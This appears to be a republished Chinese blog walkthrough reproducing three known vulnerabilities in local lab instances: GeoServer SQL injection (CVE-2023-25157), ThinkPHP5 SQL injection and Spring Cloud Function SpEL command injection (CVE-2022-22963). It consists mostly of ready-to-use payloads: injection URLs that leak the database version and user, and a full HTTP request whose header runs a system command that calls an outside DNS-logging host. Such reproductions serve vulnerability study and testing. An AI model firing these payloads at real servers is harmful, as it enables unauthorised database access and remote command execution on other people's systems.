当前位置: 首页 > news >正文

geoserver SQL注入、Think PHP5 SQL注入、spring命令注入

文章目录

  • 一、geoserver SQL注入CVE-2023-25157
  • 二、Think PHP5 SQL注入
  • 三、Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

一、geoserver SQL注入CVE-2023-25157

介绍GeoServer是一个开源的地理信息系统(GIS)服务器,用于发布、共享和管理地理空间数据和地图服务。它是一个基于Java的应用程序

访问127.0.0.1/geoserver
在这里插入图片描述
payload:http://127.0.0.1/geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=vulhub:example&CQL_FILTER=strStartsWith%28name%2C%27x%27%27%29+%3D+true+and+1%3D%28SELECT+CAST+%28%28SELECT+version()%29+AS+integer%29%29+--+%27%29+%3D+true
在这里插入图片描述

二、Think PHP5 SQL注入

think php是php开发框架
payload1:

http://127.0.0.1/index.php?ids[]=1&ids[]=2 # payload1,显示出用户名
http://127.0.0.1/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1 # payload2,可以在调试页面找到数据库的账户和密码

在这里插入图片描述
在这里插入图片描述
thinkphp_gui_tools也是可以检测出该SQL注入漏洞的。
在这里插入图片描述

三、Spring Cloud Function SpEL表达式命令注入(CVE-2022-22963)

spring是一个java框架~
直接访问127.0.0.1:8080是一个错误页面。
在这里插入图片描述
直接发送下面的数据包:

POST /functionRouter HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("ping sf4rrw.dnslog.cn")
Content-Type: text/plain
Content-Length: 8test

在这里插入图片描述
在这里插入图片描述

http://www.lryc.cn/news/346637.html

相关文章:

  • scrapy的入门
  • 大数据Scala教程从入门到精通第七篇:Scala在IDEA中编写Hello World
  • 设计模式之数据访问对象模式
  • Spring aop切面编程
  • 如何更好地使用Kafka? - 事先预防篇
  • 如何解决 IPA 打包过程中的 “Invalid Bundle Structure“ 错误
  • Vuex:Vue.js 的状态管理库
  • 【简单介绍下Sass】
  • IM 是什么?
  • 俄罗斯方块的代码实现
  • 出海企业哪种组网方案更省事?
  • triton编译学习
  • 源码知识付费系统,在线教学平台需要优化什么?
  • 后端常用技能:解决java项目前后端传输数据中文出现乱码、问号问题
  • SpringBoot中使用MongoDB
  • 【TS】入门
  • Apache ECharts
  • 超详细的胎教级Stable Diffusion使用教程(四)
  • 串口属性中的BM延时计时器问题
  • PyQt6--Python桌面开发(8.QPlainTextEdit纯文本控件)
  • Java | Leetcode Java题解之第83题删除排序链表中的重复元素
  • 重生奇迹mu再生宝石怎么用有什么用
  • pdf 文件版面分析--pdfplumber (python 文档解析提取)
  • PostgreSQL的学习心得和知识总结(一百四十三)|深入理解PostgreSQL数据库之Support event trigger for logoff
  • https免费证书获取
  • C语言 | Leetcode C语言题解之第74题搜索二维矩阵
  • 杰发科技AC7840——软件Sent_HAL39X
  • IOS 开发 - block 使用详解
  • BUU-[极客大挑战 2019]Http
  • 开发Web3 ETF的技术难点